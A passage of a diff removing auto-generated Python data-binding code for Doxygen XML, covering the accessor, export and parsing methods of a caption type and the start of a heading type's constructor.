- self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docCaptionType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docCaptionType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docCaptionType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docCaptionType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docCaptionType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docCaptionType'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docCaptionType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docCaptionType - - -class docHeadingType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, level=None, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.level = _cast(int, level) - self.level_nsprefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - 